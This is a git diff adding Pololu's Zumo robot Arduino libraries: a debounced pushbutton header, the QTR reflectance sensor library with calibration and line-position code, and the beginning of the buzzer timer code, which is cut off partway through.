100755 index 0000000..ddd0400 --- /dev/null +++ b/libraries/Zumo/Pushbutton.h @@ -0,0 +1,70 @@ +/*! \file Pushbutton.h + * + * See the Pushbutton class reference for more information about this library. + * + * \class Pushbutton Pushbutton.h + * \brief Read button presses and releases with debouncing + * + */ + +#ifndef Pushbutton_h +#define Pushbutton_h + +#include + +#define ZUMO_BUTTON 12 + +#define PULL_UP_DISABLED 0 +#define PULL_UP_ENABLED 1 + +#define DEFAULT_STATE_LOW 0 +#define DEFAULT_STATE_HIGH 1 + +class Pushbutton +{ + public: + + // constructor; takes arguments specifying whether to enable internal pull-up + // and the default state of the pin that the button is connected to + Pushbutton(unsigned char pin, unsigned char pullUp = PULL_UP_ENABLED, unsigned char defaultState = DEFAULT_STATE_HIGH); + + // wait for button to be pressed, released, or pressed and released + void waitForPress(); + void waitForRelease(); + void waitForButton(); + + // indicates whether button is currently pressed + boolean isPressed(); + + // more complex functions that return true once for each button transition + // from released to pressed or pressed to released + boolean getSingleDebouncedPress(); + boolean getSingleDebouncedRelease(); + + private: + + unsigned char _pin; + unsigned char _pullUp; + unsigned char _defaultState; + unsigned char gsdpState; + unsigned char gsdrState; + unsigned int gsdpPrevTimeMillis; + unsigned int gsdrPrevTimeMillis; + boolean initialized; + + inline void init() + { + if (!initialized) + { + initialized = true; + init2(); + } + } + + // initializes I/O pin for use as button input + void init2(); + + boolean _isPressed(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/QTRSensors.cpp b/libraries/Zumo/QTRSensors.cpp new file mode 100755 index 0000000..a5c865a --- /dev/null +++ b/libraries/Zumo/QTRSensors.cpp @@ -0,0 +1,563 @@ +/* + QTRSensors.cpp - Arduino library for using Pololu QTR reflectance + sensors and reflectance sensor arrays: QTR-1A, QTR-8A, QTR-1RC, and + QTR-8RC. The object used will determine the type of the sensor (either + QTR-xA or QTR-xRC). Then simply specify in the constructor which + Arduino I/O pins are connected to a QTR sensor, and the read() method + will obtain reflectance measurements for those sensors. Smaller sensor + values correspond to higher reflectance (e.g. white) while larger + sensor values correspond to lower reflectance (e.g. black or a void). + + * QTRSensorsRC should be used for QTR-1RC and QTR-8RC sensors. + * QTRSensorsAnalog should be used for QTR-1A and QTR-8A sensors. +*/ + +/* + * Written by Ben Schmidel et al., October 4, 2010. + * Copyright (c) 2008-2012 Pololu Corporation. For more information, see + * + * http://www.pololu.com + * http://forum.pololu.com + * http://www.pololu.com/docs/0J19 + * + * You may freely modify and share this code, as long as you keep this + * notice intact (including the two links above). Licensed under the + * Creative Commons BY-SA 3.0 license: + * + * http://creativecommons.org/licenses/by-sa/3.0/ + * + * Disclaimer: To the extent permitted by law, Pololu provides this work + * without any warranty. It might be defective, in which case you agree + * to be responsible for all resulting costs and damages. + */ + +#include +#include "QTRSensors.h" +#include + + + +// Base class data member initialization (called by derived class init()) +void QTRSensors::init(unsigned char *pins, unsigned char numSensors, + unsigned char emitterPin) +{ + calibratedMinimumOn=0; + calibratedMaximumOn=0; + calibratedMinimumOff=0; + calibratedMaximumOff=0; + + if (numSensors > QTR_MAX_SENSORS) + _numSensors = QTR_MAX_SENSORS; + else + _numSensors = numSensors; + + if (_pins == 0) + { + _pins = (unsigned char*)malloc(sizeof(unsigned char)*_numSensors); + if (_pins == 0) + return; + } + + unsigned char i; + for (i = 0; i < _numSensors; i++) + { + _pins[i] = pins[i]; + } + + _emitterPin = emitterPin; +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// The values returned are a measure of the reflectance in abstract units, +// with higher values corresponding to lower reflectance (e.g. a black +// surface or a void). +void QTRSensors::read(unsigned int *sensor_values, unsigned char readMode) +{ + unsigned int off_values[QTR_MAX_SENSORS]; + unsigned char i; + + if(readMode == QTR_EMITTERS_ON || readMode == QTR_EMITTERS_ON_AND_OFF) + emittersOn(); + else + emittersOff(); + + readPrivate(sensor_values); + emittersOff(); + + if(readMode == QTR_EMITTERS_ON_AND_OFF) + { + readPrivate(off_values); + + for(i=0;i<_numSensors;i++) + { + sensor_values[i] += _maxValue - off_values[i]; + } + } +} + + +// Turn the IR LEDs off and on. This is mainly for use by the +// read method, and calling these functions before or +// after the reading the sensors will have no effect on the +// readings, but you may wish to use these for testing purposes. +void QTRSensors::emittersOff() +{ + if (_emitterPin == QTR_NO_EMITTER_PIN) + return; + pinMode(_emitterPin, OUTPUT); + digitalWrite(_emitterPin, LOW); + delayMicroseconds(200); +} + +void QTRSensors::emittersOn() +{ + if (_emitterPin == QTR_NO_EMITTER_PIN) + return; + pinMode(_emitterPin, OUTPUT); + digitalWrite(_emitterPin, HIGH); + delayMicroseconds(200); +} + +// Resets the calibration. +void QTRSensors::resetCalibration() +{ + unsigned char i; + for(i=0;i<_numSensors;i++) + { + if(calibratedMinimumOn) + calibratedMinimumOn[i] = _maxValue; + if(calibratedMinimumOff) + calibratedMinimumOff[i] = _maxValue; + if(calibratedMaximumOn) + calibratedMaximumOn[i] = 0; + if(calibratedMaximumOff) + calibratedMaximumOff[i] = 0; + } +} + +// Reads the sensors 10 times and uses the results for +// calibration. The sensor values are not returned; instead, the +// maximum and minimum values found over time are stored internally +// and used for the readCalibrated() method. +void QTRSensors::calibrate(unsigned char readMode) +{ + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) + { + calibrateOnOrOff(&calibratedMinimumOn, + &calibratedMaximumOn, + QTR_EMITTERS_ON); + } + + + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) + { + calibrateOnOrOff(&calibratedMinimumOff, + &calibratedMaximumOff, + QTR_EMITTERS_OFF); + } +} + +void QTRSensors::calibrateOnOrOff(unsigned int **calibratedMinimum, + unsigned int **calibratedMaximum, + unsigned char readMode) +{ + int i; + unsigned int sensor_values[16]; + unsigned int max_sensor_values[16]; + unsigned int min_sensor_values[16]; + + // Allocate the arrays if necessary. + if(*calibratedMaximum == 0) + { + *calibratedMaximum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); + + // If the malloc failed, don't continue. + if(*calibratedMaximum == 0) + return; + + // Initialize the max and min calibrated values to values that + // will cause the first reading to update them. + + for(i=0;i<_numSensors;i++) + (*calibratedMaximum)[i] = 0; + } + if(*calibratedMinimum == 0) + { + *calibratedMinimum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); + + // If the malloc failed, don't continue. + if(*calibratedMinimum == 0) + return; + + for(i=0;i<_numSensors;i++) + (*calibratedMinimum)[i] = _maxValue; + } + + int j; + for(j=0;j<10;j++) + { + read(sensor_values,readMode); + for(i=0;i<_numSensors;i++) + { + // set the max we found THIS time + if(j == 0 || max_sensor_values[i] < sensor_values[i]) + max_sensor_values[i] = sensor_values[i]; + + // set the min we found THIS time + if(j == 0 || min_sensor_values[i] > sensor_values[i]) + min_sensor_values[i] = sensor_values[i]; + } + } + + // record the min and max calibration values + for(i=0;i<_numSensors;i++) + { + if(min_sensor_values[i] > (*calibratedMaximum)[i]) + (*calibratedMaximum)[i] = min_sensor_values[i]; + if(max_sensor_values[i] < (*calibratedMinimum)[i]) + (*calibratedMinimum)[i] = max_sensor_values[i]; + } +} + + +// Returns values calibrated to a value between 0 and 1000, where +// 0 corresponds to the minimum value read by calibrate() and 1000 +// corresponds to the maximum value. Calibration values are +// stored separately for each sensor, so that differences in the +// sensors are accounted for automatically. +void QTRSensors::readCalibrated(unsigned int *sensor_values, unsigned char readMode) +{ + int i; + + // if not calibrated, do nothing + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) + if(!calibratedMinimumOff || !calibratedMaximumOff) + return; + if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) + if(!calibratedMinimumOn || !calibratedMaximumOn) + return; + + // read the needed values + read(sensor_values,readMode); + + for(i=0;i<_numSensors;i++) + { + unsigned int calmin,calmax; + unsigned int denominator; + + // find the correct calibration + if(readMode == QTR_EMITTERS_ON) + { + calmax = calibratedMaximumOn[i]; + calmin = calibratedMinimumOn[i]; + } + else if(readMode == QTR_EMITTERS_OFF) + { + calmax = calibratedMaximumOff[i]; + calmin = calibratedMinimumOff[i]; + } + else // QTR_EMITTERS_ON_AND_OFF + { + + if(calibratedMinimumOff[i] < calibratedMinimumOn[i]) // no meaningful signal + calmin = _maxValue; + else + calmin = calibratedMinimumOn[i] + _maxValue - calibratedMinimumOff[i]; // this won't go past _maxValue + + if(calibratedMaximumOff[i] < calibratedMaximumOn[i]) // no meaningful signal + calmax = _maxValue; + else + calmax = calibratedMaximumOn[i] + _maxValue - calibratedMaximumOff[i]; // this won't go past _maxValue + } + + denominator = calmax - calmin; + + signed int x = 0; + if(denominator != 0) + x = (((signed long)sensor_values[i]) - calmin) + * 1000 / denominator; + if(x < 0) + x = 0; + else if(x > 1000) + x = 1000; + sensor_values[i] = x; + } + +} + + +// Operates the same as read calibrated, but also returns an +// estimated position of the robot with respect to a line. The +// estimate is made using a weighted average of the sensor indices +// multiplied by 1000, so that a return value of 0 indicates that +// the line is directly below sensor 0, a return value of 1000 +// indicates that the line is directly below sensor 1, 2000 +// indicates that it's below sensor 2000, etc. Intermediate +// values indicate that the line is between two sensors. The +// formula is: +// +// 0*value0 + 1000*value1 + 2000*value2 + ... +// -------------------------------------------- +// value0 + value1 + value2 + ... +// +// By default, this function assumes a dark line (high values) +// surrounded by white (low values). If your line is light on +// black, set the optional second argument white_line to true. In +// this case, each sensor value will be replaced by (1000-value) +// before the averaging. +int QTRSensors::readLine(unsigned int *sensor_values, + unsigned char readMode, unsigned char white_line) +{ + unsigned char i, on_line = 0; + unsigned long avg; // this is for the weighted total, which is long + // before division + unsigned int sum; // this is for the denominator which is <= 64000 + static int last_value=0; // assume initially that the line is left. + + readCalibrated(sensor_values, readMode); + + avg = 0; + sum = 0; + + for(i=0;i<_numSensors;i++) { + int value = sensor_values[i]; + if(white_line) + value = 1000-value; + + // keep track of whether we see the line at all + if(value > 200) { + on_line = 1; + } + + // only average in values that are above a noise threshold + if(value > 50) { + avg += (long)(value) * (i * 1000); + sum += value; + } + } + + if(!on_line) + { + // If it last read to the left of center, return 0. + if(last_value < (_numSensors-1)*1000/2) + return 0; + + // If it last read to the right of center, return the max. + else + return (_numSensors-1)*1000; + + } + + last_value = avg/sum; + + return last_value; +} + + + +// Derived RC class constructors +QTRSensorsRC::QTRSensorsRC() +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; +} + +QTRSensorsRC::QTRSensorsRC(unsigned char* pins, + unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; + + init(pins, numSensors, timeout, emitterPin); +} + + +// The array 'pins' contains the Arduino pin number for each sensor. + +// 'numSensors' specifies the length of the 'pins' array (i.e. the +// number of QTR-RC sensors you are using). numSensors must be +// no greater than 16. + +// 'timeout' specifies the length of time in microseconds beyond +// which you consider the sensor reading completely black. That is to say, +// if the pulse length for a pin exceeds 'timeout', pulse timing will stop +// and the reading for that pin will be considered full black. +// It is recommended that you set timeout to be between 1000 and +// 3000 us, depending on things like the height of your sensors and +// ambient lighting. Using timeout allows you to shorten the +// duration of a sensor-reading cycle while still maintaining +// useful analog measurements of reflectance + +// 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC +// modules. If you are using a 1RC (i.e. if there is no emitter pin), +// or if you just want the emitters on all the time and don't want to +// use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). +void QTRSensorsRC::init(unsigned char* pins, + unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) +{ + QTRSensors::init(pins, numSensors, emitterPin); + + _maxValue = timeout; +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// ... +// The values returned are in microseconds and range from 0 to +// timeout (as specified in the constructor). +void QTRSensorsRC::readPrivate(unsigned int *sensor_values) +{ + unsigned char i; + + if (_pins == 0) + return; + + for(i = 0; i < _numSensors; i++) + { + sensor_values[i] = _maxValue; + digitalWrite(_pins[i], HIGH); // make sensor line an output + pinMode(_pins[i], OUTPUT); // drive sensor line high + } + + delayMicroseconds(10); // charge lines for 10 us + + for(i = 0; i < _numSensors; i++) + { + pinMode(_pins[i], INPUT); // make sensor line an input + digitalWrite(_pins[i], LOW); // important: disable internal pull-up! + } + + unsigned long startTime = micros(); + while (micros() - startTime < _maxValue) + { + unsigned int time = micros() - startTime; + for (i = 0; i < _numSensors; i++) + { + if (digitalRead(_pins[i]) == LOW && time < sensor_values[i]) + sensor_values[i] = time; + } + } +} + + + +// Derived Analog class constructors +QTRSensorsAnalog::QTRSensorsAnalog() +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; +} + +QTRSensorsAnalog::QTRSensorsAnalog(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor, + unsigned char emitterPin) +{ + calibratedMinimumOn = 0; + calibratedMaximumOn = 0; + calibratedMinimumOff = 0; + calibratedMaximumOff = 0; + _pins = 0; + + init(pins, numSensors, numSamplesPerSensor, emitterPin); +} + + +// the array 'pins' contains the Arduino analog pin assignment for each +// sensor. For example, if pins is {0, 1, 7}, sensor 1 is on +// Arduino analog input 0, sensor 2 is on Arduino analog input 1, +// and sensor 3 is on Arduino analog input 7. + +// 'numSensors' specifies the length of the 'analogPins' array (i.e. the +// number of QTR-A sensors you are using). numSensors must be +// no greater than 16. + +// 'numSamplesPerSensor' indicates the number of 10-bit analog samples +// to average per channel (i.e. per sensor) for each reading. The total +// number of analog-to-digital conversions performed will be equal to +// numSensors*numSamplesPerSensor. Note that it takes about 100 us to +// perform a single analog-to-digital conversion, so: +// if numSamplesPerSensor is 4 and numSensors is 6, it will take +// 4 * 6 * 100 us = ~2.5 ms to perform a full readLine(). +// Increasing this parameter increases noise suppression at the cost of +// sample rate. The recommended value is 4. + +// 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC +// modules. If you are using a 1RC (i.e. if there is no emitter pin), +// or if you just want the emitters on all the time and don't want to +// use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). +void QTRSensorsAnalog::init(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor, + unsigned char emitterPin) +{ + QTRSensors::init(pins, numSensors, emitterPin); + + _numSamplesPerSensor = numSamplesPerSensor; + _maxValue = 1023; // this is the maximum returned by the A/D conversion +} + + +// Reads the sensor values into an array. There *MUST* be space +// for as many values as there were sensors specified in the constructor. +// Example usage: +// unsigned int sensor_values[8]; +// sensors.read(sensor_values); +// The values returned are a measure of the reflectance in terms of a +// 10-bit ADC average with higher values corresponding to lower +// reflectance (e.g. a black surface or a void). +void QTRSensorsAnalog::readPrivate(unsigned int *sensor_values) +{ + unsigned char i, j; + + if (_pins == 0) + return; + + // reset the values + for(i = 0; i < _numSensors; i++) + sensor_values[i] = 0; + + for (j = 0; j < _numSamplesPerSensor; j++) + { + for (i = 0; i < _numSensors; i++) + { + sensor_values[i] += analogRead(_pins[i]); // add the conversion result + } + } + + // get the rounded average of the readings for each sensor + for (i = 0; i < _numSensors; i++) + sensor_values[i] = (sensor_values[i] + (_numSamplesPerSensor >> 1)) / + _numSamplesPerSensor; +} + +// the destructor frees up allocated memory +QTRSensors::~QTRSensors() +{ + if (_pins) + free(_pins); + if(calibratedMaximumOn) + free(calibratedMaximumOn); + if(calibratedMaximumOff) + free(calibratedMaximumOff); + if(calibratedMinimumOn) + free(calibratedMinimumOn); + if(calibratedMinimumOff) + free(calibratedMinimumOff); +} diff --git a/libraries/Zumo/QTRSensors.dox b/libraries/Zumo/QTRSensors.dox new file mode 100755 index 0000000..2c73909 --- /dev/null +++ b/libraries/Zumo/QTRSensors.dox @@ -0,0 +1,31 @@ +/*! \file QTRSensors.h + * + * This library is included in the Zumo Shield libraries as a dependency for the + * ZumoReflectanceSensorArray library. If you are programming an Arduino on a + * Zumo, you should generally use the ZumoReflectanceSensorArray library instead + * of using the %QTRSensors library directly. + * + * For documentation specific to the %QTRSensors library, please see the [user's + * guide](http://www.pololu.com/docs/0J19) on Pololu's website. + * + * + * \class QTRSensors QTRSensors.h + * \brief (%ZumoReflectanceSensorArray dependency) + * + * This class is part of the \ref QTRSensors.h "QTRSensors" library, which is + * included in the Zumo Shield libraries as a dependency for the + * ZumoReflectanceSensorArray library. If you are programming an Arduino on a + * Zumo, you should generally use the ZumoReflectanceSensorArray library instead + * of using the %QTRSensors library directly. + * + * For documentation specific to the %QTRSensors library, please see the [user's + * guide](http://www.pololu.com/docs/0J19) on Pololu's website. + * + * + * \class QTRSensorsRC QTRSensors.h + * \copydoc QTRSensors + * + * + * \class QTRSensorsAnalog QTRSensors.h + * \copydoc QTRSensors + */ \ No newline at end of file diff --git a/libraries/Zumo/QTRSensors.h b/libraries/Zumo/QTRSensors.h new file mode 100755 index 0000000..9659d58 --- /dev/null +++ b/libraries/Zumo/QTRSensors.h @@ -0,0 +1,268 @@ +/* + QTRSensors.h - Library for using Pololu QTR reflectance + sensors and reflectance sensor arrays: QTR-1A, QTR-8A, QTR-1RC, and + QTR-8RC. The object used will determine the type of the sensor (either + QTR-xA or QTR-xRC). Then simply specify in the constructor which + Arduino I/O pins are connected to a QTR sensor, and the read() method + will obtain reflectance measurements for those sensors. Smaller sensor + values correspond to higher reflectance (e.g. white) while larger + sensor values correspond to lower reflectance (e.g. black or a void). + + * QTRSensorsRC should be used for QTR-1RC and QTR-8RC sensors. + * QTRSensorsAnalog should be used for QTR-1A and QTR-8A sensors. +*/ + +/* + * Written by Ben Schmidel et al., October 4, 2010 + * Copyright (c) 2008-2012 Pololu Corporation. For more information, see + * + * http://www.pololu.com + * http://forum.pololu.com + * http://www.pololu.com/docs/0J19 + * + * You may freely modify and share this code, as long as you keep this + * notice intact (including the two links above). Licensed under the + * Creative Commons BY-SA 3.0 license: + * + * http://creativecommons.org/licenses/by-sa/3.0/ + * + * Disclaimer: To the extent permitted by law, Pololu provides this work + * without any warranty. It might be defective, in which case you agree + * to be responsible for all resulting costs and damages. + */ + +#ifndef QTRSensors_h +#define QTRSensors_h + +#define QTR_EMITTERS_OFF 0 +#define QTR_EMITTERS_ON 1 +#define QTR_EMITTERS_ON_AND_OFF 2 + +#define QTR_NO_EMITTER_PIN 255 + +#define QTR_MAX_SENSORS 16 + +// This class cannot be instantiated directly (it has no constructor). +// Instead, you should instantiate one of its two derived classes (either the +// QTR-A or QTR-RC version, depending on the type of your sensor). +class QTRSensors +{ + public: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in abstract units, + // with higher values corresponding to lower reflectance (e.g. a black + // surface or a void). + // If measureOffAndOn is true, measures the values with the + // emitters on AND off and returns on - (timeout - off). If this + // value is less than zero, it returns zero. + // This method will call the appropriate derived class's readPrivate(), + // which is defined as a virtual function in the base class and + // overridden by each derived class's own implementation. + void read(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON); + + // Turn the IR LEDs off and on. This is mainly for use by the + // read method, and calling these functions before or + // after the reading the sensors will have no effect on the + // readings, but you may wish to use these for testing purposes. + void emittersOff(); + void emittersOn(); + + // Reads the sensors for calibration. The sensor values are + // not returned; instead, the maximum and minimum values found + // over time are stored internally and used for the + // readCalibrated() method. + void calibrate(unsigned char readMode = QTR_EMITTERS_ON); + + // Resets all calibration that has been done. + void resetCalibration(); + + // Returns values calibrated to a value between 0 and 1000, where + // 0 corresponds to the minimum value read by calibrate() and 1000 + // corresponds to the maximum value. Calibration values are + // stored separately for each sensor, so that differences in the + // sensors are accounted for automatically. + void readCalibrated(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON); + + // Operates the same as read calibrated, but also returns an + // estimated position of the robot with respect to a line. The + // estimate is made using a weighted average of the sensor indices + // multiplied by 1000, so that a return value of 0 indicates that + // the line is directly below sensor 0, a return value of 1000 + // indicates that the line is directly below sensor 1, 2000 + // indicates that it's below sensor 2000, etc. Intermediate + // values indicate that the line is between two sensors. The + // formula is: + // + // 0*value0 + 1000*value1 + 2000*value2 + ... + // -------------------------------------------- + // value0 + value1 + value2 + ... + // + // By default, this function assumes a dark line (high values) + // surrounded by white (low values). If your line is light on + // black, set the optional second argument white_line to true. In + // this case, each sensor value will be replaced by (1000-value) + // before the averaging. + int readLine(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON, unsigned char white_line = 0); + + // Calibrated minumum and maximum values. These start at 1000 and + // 0, respectively, so that the very first sensor reading will + // update both of them. + // + // The pointers are unallocated until calibrate() is called, and + // then allocated to exactly the size required. Depending on the + // readMode argument to calibrate, only the On or Off values may + // be allocated, as required. + // + // These variables are made public so that you can use them for + // your own calculations and do things like saving the values to + // EEPROM, performing sanity checking, etc. + unsigned int *calibratedMinimumOn; + unsigned int *calibratedMaximumOn; + unsigned int *calibratedMinimumOff; + unsigned int *calibratedMaximumOff; + + ~QTRSensors(); + + protected: + + QTRSensors() + { + + }; + + void init(unsigned char *pins, unsigned char numSensors, unsigned char emitterPin); + + unsigned char *_pins; + unsigned char _numSensors; + unsigned char _emitterPin; + unsigned int _maxValue; // the maximum value returned by this function + + private: + + virtual void readPrivate(unsigned int *sensor_values) = 0; + + // Handles the actual calibration. calibratedMinimum and + // calibratedMaximum are pointers to the requested calibration + // arrays, which will be allocated if necessary. + void calibrateOnOrOff(unsigned int **calibratedMinimum, + unsigned int **calibratedMaximum, + unsigned char readMode); +}; + + + +// Object to be used for QTR-1RC and QTR-8RC sensors +class QTRSensorsRC : public QTRSensors +{ + public: + + // if this constructor is used, the user must call init() before using + // the methods in this class + QTRSensorsRC(); + + // this constructor just calls init() + QTRSensorsRC(unsigned char* pins, unsigned char numSensors, + unsigned int timeout = 4000, unsigned char emitterPin = 255); + + // The array 'pins' contains the Arduino pin number for each sensor. + + // 'numSensors' specifies the length of the 'pins' array (i.e. the + // number of QTR-RC sensors you are using). numSensors must be + // no greater than 16. + + // 'timeout' specifies the length of time in microseconds beyond + // which you consider the sensor reading completely black. That is to say, + // if the pulse length for a pin exceeds 'timeout', pulse timing will stop + // and the reading for that pin will be considered full black. + // It is recommended that you set timeout to be between 1000 and + // 3000 us, depending on things like the height of your sensors and + // ambient lighting. Using timeout allows you to shorten the + // duration of a sensor-reading cycle while still maintaining + // useful analog measurements of reflectance + + // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC + // modules. If you are using a 1RC (i.e. if there is no emitter pin), + // or if you just want the emitters on all the time and don't want to + // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). + void init(unsigned char* pins, unsigned char numSensors, + unsigned int timeout = 2000, unsigned char emitterPin = QTR_NO_EMITTER_PIN); + + + + private: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in microseconds. + void readPrivate(unsigned int *sensor_values); +}; + + + +// Object to be used for QTR-1A and QTR-8A sensors +class QTRSensorsAnalog : public QTRSensors +{ + public: + + // if this constructor is used, the user must call init() before using + // the methods in this class + QTRSensorsAnalog(); + + // this constructor just calls init() + QTRSensorsAnalog(unsigned char* pins, + unsigned char numSensors, unsigned char numSamplesPerSensor = 4, + unsigned char emitterPin = 255); + + // the array 'pins' contains the Arduino analog pin assignment for each + // sensor. For example, if pins is {0, 1, 7}, sensor 1 is on + // Arduino analog input 0, sensor 2 is on Arduino analog input 1, + // and sensor 3 is on Arduino analog input 7. + + // 'numSensors' specifies the length of the 'analogPins' array (i.e. the + // number of QTR-A sensors you are using). numSensors must be + // no greater than 16. + + // 'numSamplesPerSensor' indicates the number of 10-bit analog samples + // to average per channel (i.e. per sensor) for each reading. The total + // number of analog-to-digital conversions performed will be equal to + // numSensors*numSamplesPerSensor. Note that it takes about 100 us to + // perform a single analog-to-digital conversion, so: + // if numSamplesPerSensor is 4 and numSensors is 6, it will take + // 4 * 6 * 100 us = ~2.5 ms to perform a full readLine(). + // Increasing this parameter increases noise suppression at the cost of + // sample rate. The recommended value is 4. + + // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC + // modules. If you are using a 1RC (i.e. if there is no emitter pin), + // or if you just want the emitters on all the time and don't want to + // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). + void init(unsigned char* analogPins, unsigned char numSensors, + unsigned char numSamplesPerSensor = 4, unsigned char emitterPin = QTR_NO_EMITTER_PIN); + + + + private: + + // Reads the sensor values into an array. There *MUST* be space + // for as many values as there were sensors specified in the constructor. + // Example usage: + // unsigned int sensor_values[8]; + // sensors.read(sensor_values); + // The values returned are a measure of the reflectance in terms of a + // 10-bit ADC average with higher values corresponding to lower + // reflectance (e.g. a black surface or a void). + void readPrivate(unsigned int *sensor_values); + + unsigned char _numSamplesPerSensor; +}; + + +#endif diff --git a/libraries/Zumo/ZumoBuzzer.cpp b/libraries/Zumo/ZumoBuzzer.cpp new file mode 100755 index 0000000..b1a11f3 --- /dev/null +++ b/libraries/Zumo/ZumoBuzzer.cpp @@ -0,0 +1,742 @@ +#ifndef F_CPU +#define F_CPU 16000000UL // Standard Arduinos run at 16 MHz +#endif //!F_CPU + +#include +#include +#include "ZumoBuzzer.h" + +#ifdef __AVR_ATmega32U4__ + +// PD7 (OC4D) +#define BUZZER_DDR DDRD +#define BUZZER (1 << PORTD7) + +#define TIMER4_CLK_8 0x4 // 2 MHz + +#define ENABLE_TIMER_INTERRUPT() TIMSK4 = (1 << TOIE4) +#define DISABLE_TIMER_INTERRUPT() TIMSK4 = 0 + +#else // 168P or 328P + +// PD3 (OC2B) +#define BUZZER_DDR DDRD +#define BUZZER (1 << PORTD3) + +#define TIMER2_CLK_32 0x3 // 500 kHz + +static const unsigned int cs2_divider[] = {0, 1, 8, 32, 64, 128, 256, 1024}; + +#define ENABLE_TIMER_INTERRUPT() TIMSK2 = (1 << TOIE2) +#define DISABLE_TIMER_INTERRUPT() TIMSK2 = 0 + +#endif + +unsigned char buzzerInitialized = 0; +volatile unsigned char buzzerFinished = 1; // flag: 0 while playing +const char *buzzerSequence = 0; + +// declaring these globals as static means they won't conflict +// with globals in other .cpp files that share the same name +static volatile unsigned int buzzerTimeout = 0; // tracks buzzer time limit +static char play_mode_setting = PLAY_AUTOMATIC; + +extern volatile unsigned char buzzerFinished; // flag: 0 while playing +extern const char *buzzerSequence; + + +static unsigned char use_program_space; // boolean: true if we should + // use program space + +// music settings and defaults +static unsigned char octave = 4; // the current octave +static unsigned int whole_note_duration = 2000; // the duration of a whole note +static unsigned int note_type = 4; // 4 for quarter, etc +static unsigned int duration = 500; // the duration of a note in ms +static unsigned int volume = 15; // the note volume +static unsigned char staccato = 0; // true if playing staccato + +// staccato handling +static unsigned char staccato_rest_duration; // duration of a staccato + // rest, or zero if it is time + // to play a note + +static void nextNote(); + +#ifdef __AVR_ATmega32U4__ + +// Timer4 overflow interrupt +ISR (TIMER4_OVF_vect) +{ + if (buzzerTimeout-- == 0) + { + DISABLE_TIMER_INTERRUPT(); + sei(); // re-enable global interrupts (nextNote() is very slow) + TCCR4B = (TCCR4B & 0xF0) | TIMER4_CLK_8; // select IO clock + unsigned int top = (F_CPU/16) / 1000; // set TOP for freq = 1 kHz: + TC4H = top >> 8; // top 2 bits... (TC4H temporarily stores top 2 bits of 10-bit accesses) + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits + buzzerFinished = 1; + if (buzzerSequence && (play_mode_setting == PLAY_AUTOMATIC)) + nextNote(); + } +} + +#else + +// Timer2 overflow interrupt +ISR (TIMER2_OVF_vect) +{ + if (buzzerTimeout-- == 0) + { + DISABLE_TIMER_INTERRUPT(); + sei(); // re-enable global interrupts (nextNote() is very slow) + TCCR2B = (TCCR2B & 0xF8) | TIMER2_CLK_32; // select IO clock + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle + buzzerFinished = 1; + if (buzzerSequence && (play_mode_setting == PLAY_AUTOMATIC)) + nextNote(); + } +} + +#endif + + +// constructor + +ZumoBuzzer::ZumoBuzzer() +{ +} + +// this is called by playFrequency() +inline void ZumoBuzzer::init() +{ + if (!buzzerInitialized) + { + buzzerInitialized = 1; + init2(); + } +} + +// initializes timer4 (32U4) or timer2 (328P) for buzzer control +void ZumoBuzzer::init2() +{ + DISABLE_TIMER_INTERRUPT(); + +#ifdef __AVR_ATmega32U4__ + TCCR4A = 0x00; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bits 5 and 4 clear: normal port op., OC4B disconnected + // bit 3 clear: no force output compare for channel A + // bit 2 clear: no force output compare for channel B + // bit 1 clear: disable PWM for channel A + // bit 0 clear: disable PWM for channel B + + TCCR4B = 0x04; // bit 7 clear: disable PWM inversion + // bit 6 clear: no prescaler reset + // bits 5 and 4 clear: dead time prescaler 1 + // bit 3 clear, 2 set, 1-0 clear: timer clock = CK/8 + + TCCR4C = 0x09; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bits 5 and 4 clear: normal port op., OC4B disconnected + // bit 3 set, 2 clear: clear OC4D on comp match when upcounting, + // set OC4D on comp match when downcounting + // bit 1 clear: no force output compare for 